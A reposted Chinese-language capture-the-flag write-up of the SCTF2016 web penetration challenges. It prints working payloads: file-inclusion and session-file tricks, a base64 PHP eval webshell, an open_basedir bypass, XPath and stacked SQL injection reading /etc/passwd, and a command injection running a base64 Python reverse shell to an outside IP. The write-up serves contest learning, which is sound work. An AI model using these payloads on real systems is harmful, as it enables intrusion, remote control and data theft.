转载

SCTF2016 痛苦的滲透之路

SCTF2016 痛苦的滲透之路

0x00 前言

這次的CTF玩的很酸爽,一共7個 WEB滲透 類的題目,這也是痛苦的開始。好好的審計,為何加那麼多高門檻。

0x01 Pentest-homework-200

http://homework.sctf.xctf.org.cn/

打開完整,就是登陸頁面,進入註冊。名字,年齡,上傳圖片。

順利登陸之後是顯示一張圖片。還有一個homework的鏈接。

點擊homework鏈接之後是一個包好頁面的網址。

http://homework.sctf.xctf.org.cn/homework.php?homework=homework.txt 

可以判定這是一個文件包含漏洞的腦洞。馬上試試上傳木馬圖片來包含。

必然的繼而,包含不成功。

讀取源碼來瞅瞅上傳功能出了什麼問題。

http://homework.sctf.xctf.org.cn/homework.php?homework=php://filter/convert.base64-encode/resource=index.php 

果斷成功讀取。然後把該讀取的源碼全都download下來。

通過審計代碼

if(isset($_POST['upload'])){ $filename = $_FILES['uploaded']['name']; $filetype = $_FILES['uploaded']['type']; $filesize = $_FILES['uploaded']['size']; $tmpname = $_FILES['uploaded']['tmp_name']; $uploaddir = './upload/'; $target_path = $uploaddir.basename($filename); $fileext = substr(strrchr($filename,"."),1); if(($fileext == 'gif')&&($filetype == "image/gif")){     {         if(move_uploaded_file($tmpname,$target_path))         {         }     }     $im =imagecreatefromgif($target_path);     srand(time());     $newfilename = strval(rand()).".gif";     $newimagepath = $uploaddir.$newfilename;     imagegif($im,$newimagepath);     unlink($target_path); }else if(($fileext == 'jpg')&&($filetype == "image/jpeg")){ ... 

果然有點意思,上傳的圖片都經過 imagecreatefromgif 等函數處理過了。

但是這不是重點,重點是前面的 move_uploaded_file($tmpname,$target_path)

熟悉php代碼的應該都知道,只是已經成功上傳圖片了的。

成功上傳之後再進行處理並刪除源文件 unlink($target_path);

所以,這個題目是時間競爭,拼網速,拼人品。

上傳寫shell腳本的圖片馬

fputs(fopen(base64_decode(dmlyLnBocA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUWyd2aXJpbmsnXSk7Pz4tLS0t)); 

brup 多線程訪問

http://homework.sctf.xctf.org.cn/homework.php?homework=upload/virink.jpg 

註冊上傳。。如果人品好,很快就成功了。

後來,發現,寫的shell莫名其妙就沒了,目測有人攪屎,然後我就寫到/tmp去了。2333333

webshell成功上傳了,但是發現,很多功能都被閹割掉了。

ddisable_functions= passthru,exec,phpinfo,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,pcntl_exec 

然後就是利用 PHP绕过open_basedir列目录 黑科技列目錄。

virink=printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));$file_list = array();$it = new DirectoryIterator("glob:////home/wwwroot/default/web/*");foreach($it as $f) {    $file_list[] = $f->__toString();}$it = new DirectoryIterator("glob:///.*");foreach($it as $f) {    $file_list[] = $f->__toString();}sort($file_list);foreach($file_list as $f){echo "{$f}<br/>";} 

然後就是讀取flag

virink=echo file_get_contents('/home/wwwroot/default/web/4ff692fb12aa996e27f0a108bfc386c2'); 

SCTF{g00d_Good_Stu6y}

0x02 Pentest-sycshell-200

http://58.213.63.27:61180

右鍵查看源碼

<!-- 内部系统资料:http://sycshell.sycsec.com:61180/ --> 

改Hosts,然後用域名訪問。

再開源碼,解密jsfuck編碼,得到

/W0Ca1N1CaiBuDa0/read.php?f=index 

代碼審計,繞過後包含。

源碼:

<?php     show_source(__FILE__);     $pass = @$_GET['pass'];     $a = "syclover";          strlen($pass) > 15 ? die("Don't Hack me!") : "";          if(!is_numeric($pass) || preg_match('/0(x)?|-|/+|/s|^(/.|/d).*$/i',$pass)){         die('error');     }          if($pass == 1 &&  $a[$pass] === "s"){         $file = isset($_GET['f']) ? $_GET['f'].'.php' : 'index.php';         @include $file;     } ?> 

這裏有一個大腦洞!!!!有版本限制的。

根據提示:sycshell_tip 审计那部分好好看php的底层代码,另外方便大家一下58.213.63.27:61180/phpinfo.php

首先可以得到php 5.3.29版本。

版本漏洞, %0b (/v)可以繞過正則的 /s

/?pass=%0b.1e1 

php底層源碼

while (*str == ' ' || *str == '/t' || *str == '/n' || *str == '/r' || *str == '/v' || *str == '/f') {     str++;     length--; } 

這個題目的另一個大脑洞就是 phpinfo()+Lfi

然後就是爆破吧、、2333

$pass繞過這個腦洞與phithon牛的一道題目類似的

https://www.leavesongs.com/PENETRATION/some-sangebaimao-ctf-writeups.html?lan=tw&lan=tw&lan=tw

题三: PHP类型与逻辑+fuzz与源代码审计 的*0x03 函数特性导致绕过*部分。

0x03 Pentest-DrugMarket1-300

Drug Market: http://www.spentest.com/

一開始就是一個腦洞,偽404 Not Found頁面。我曾經吃過這方面的虧,然後就默默地看源碼,點開隱藏的鏈接了。

http://drug.spentest.com/ 

點order可以提交數據,然後沒別的什麼功能了。可能存在xss。

我繼續看源碼,有發現一個鏈接。

http://msgboard.spentest.com/ 

打開頁面直接跳轉到

http://msgboard.spentest.com/index.php?action=login.php 

很明顯的一個文件包含漏洞。到處看了下,沒有上傳的地方。

再來研究頁面功能,客戶登陸,隨便填寫用戶名和聯繫方式之後發現存在session。並且用戶名和聯繫方式並沒有過濾。

初步判斷是包含session。習慣性包含/tmp/sess_xxxxxxxxxx,發現並不存在。絕逼改地方了。

然後就是要尋找session的存放地址。首先就得讀取apache的配置文件。

http://msgboard.spentest.com/index.php?action=../../../../../../../../etc/httpd/conf/httpd.conf 

得到

<VirtualHost 0.0.0.0:80>     ServerAdmin Syclover     DocumentRoot /var/www/html         <Directory "/var/www/html">     AssignUserId apache apache     php_value session.save_path "/var/lib/php/session" </VirtualHost> <VirtualHost 0.0.0.0:80>     ServerAdmin Syclover     ServerName www.spentest.com     DocumentRoot /var/www/webhosts/www         <Directory "/var/www/webhosts/www">     AssignUserId www www     php_value session.save_path "/var/lib/php/session_www" </VirtualHost> <VirtualHost 0.0.0.0:80>     ServerAdmin Syclover     ServerName drug.spentest.com     DocumentRoot /var/www/webhosts/drug         <Directory "/var/www/webhosts/drug">     AssignUserId drug drug     php_value session.save_path "/var/lib/php/session_drug" </VirtualHost> <VirtualHost 0.0.0.0:80>     ServerAdmin Syclover     ServerName msgboard.spentest.com     DocumentRoot /var/www/webhosts/msgboard         <Directory "/var/www/webhosts/msgboard">     AssignUserId msgboard msgboard     php_value session.save_path "/var/lib/php/session_msgboard" </VirtualHost> 

順利知道session的存放地址為 /var/lib/php/session_msgboard

Username 或者 Contact 寫入

http://msgboard.spentest.com/index.php?action=../../../../../../../../var/lib/php/session_msgboard/sess_rb2rbfrie8rku2n81dq52vghp0 

然後就是進一步收集信息

virink=phpinfo() 

得到

disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server 

其他站點都沒有訪問權限,默默地閱讀本站點的源碼。得到數據庫連接信息。

因為這個題目已經被FB了,默默地去收集前輩們的信息。/tmp目錄是我的最愛。。。23333

看了一大堆沒用的東西,同時也得到了一些有用的東西,比如mysql的root密碼。。23333

當時腦抽了,沒有好好保存,在/tmp被莫名其妙地清空後找不到mysql的數據庫相關信息了。

思路中斷,始終不知道如何執行命令。

反復研究提示

  1. 这是渗透题哟,所以请不要囿于你当前的Shell之中,想办法渗透到DRUG站点
  2. 为了让题目更加接近真实环境,所以防火墙规则较为严格

最後又回到XSS上面了。因為看過drug的數據庫,並沒有管理員用戶表。

orderX來X去沒效果,然後在小夥伴提示的情況下,X進adminconfig裏面,成功獲取cookie!

進入管理員頁面,發現存在一個下載圖片的功能。自己服務器監聽一個端口,服務器訪問自己的服務器,無果。

還是在小夥伴的提示下,監聽80端口。。才發現提示2是這個腦洞。

然後就收到了一個wget請求。

目測存在命令執行漏洞。

黑科技 : $IFS 代替 空格

上傳一個反彈的py腳本

virink=fputs(fopen('/tmp/vvv.py',w),base64_decode(aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zDQpzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0Kcy5jb25uZWN0KCgiNDUuNzguMTMuMjMiLDgwKSkNCm9zLmR1cDIocy5maWxlbm8oKSwwKQ0Kb3MuZHVwMihzLmZpbGVubygpLDEpDQpvcy5kdXAyKHMuZmlsZW5vKCksMikNCnA9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9iYXNoIiwiLWkiXSk7DQo)); 

然後執行命令

http://vvv/flag.jpg;python$IFS/tmp/vvv.py 

成功得到一個bash的shell。

最後在/home/drug找到flag1.txt

SCTF{b68181af58bdf261714942f0d1a823be}

0x04 Pentest-ETO-200

http://eto.sctf.xctf.org.cn/

這個是第一個放出來的題目,卻是最後才折騰出來。

簡單試一下,存在注入。

然後、各種注入都沒有成功。

官方給的提示奇葩:

ETO相关 不用再尝试爆破了哈,另外hint一直都在

從頭到尾都沒有發現hint在哪裡。

結束後才發現,注入報錯的時候,在響應頭裏面返回了一個 hint://user[id=1]

出題人這個腦洞絕逼要給101分,滿分100,多一分是深深的父愛。

在小夥伴的提示下,才知道這是一個xpath注入。

引號被過濾了,但官方的提示2說好好利用已存在的字符。

說明,密碼中的字符在username、email和role中存在的。用substring()函數逐个字符判斷就ok了

http://eto.sctf.xctf.org.cn/?action=user&id=1 and substring(//user[1]/username,1,1)=substring(//user[1]/password,1,1) 

用你的神器Burp再次爆破一波吧。

最后跑出32位的密码 : Ywj@4791.d_gToWDmceu.Eali0s2yarn

登陆后就可以得到Flag了

SCTF{0f61ce4eb984a4a6d3aaa31f779533df}

0x05 Pentest-Hackme-300-未成功

http://hackme.sctf.xctf.org.cn

坨坨的不会做,还是注入。注入一向是我的弱项。Orz......

根据官方的提示

1.网站开发人员经常会去看备忘录

2.想办法拿到管理员密码

3.注意观察数据库连接方式

4.XSS

以及小伙伴的提示:PDO注入。

百度得到:PDO方式的数据库连接,可以insert注入。

折腾一番到也弄出个样子。

http://hackme.sctf.xctf.org.cn/index.php?id=0;/*!50000insert*//*!50000into*/beiwanglu(id,time,event)/*!50000values*/(9,'virink',/*!50000select*/(/*!50000hex*/(/*!50000load_file*/(0x2F6574632F706173737764))));%23 

成功X到了管理员的COOKIE。。。

再根据提示 想办法拿到管理员密码 可以大概知道下一步可能是劫持表单,获取管理员的密码。

然而,我就不会了。

XSS比SQL注入更渣~~Orz.....

0x06 写在最后

最终以0x01-0x04+签到10分的总分 910分 结束本次CTF。

脑洞还是不够大,经验太少。而且还犯傻。很多关键的地方和非关键地方都陷入了思维误区,没有小伙伴提示的话,我估计也就能拿个10分的签到分了。

原文  http://www.isecer.com/ctf/sctf2016-painful-penetrating-way.html
正文到此结束
Loading...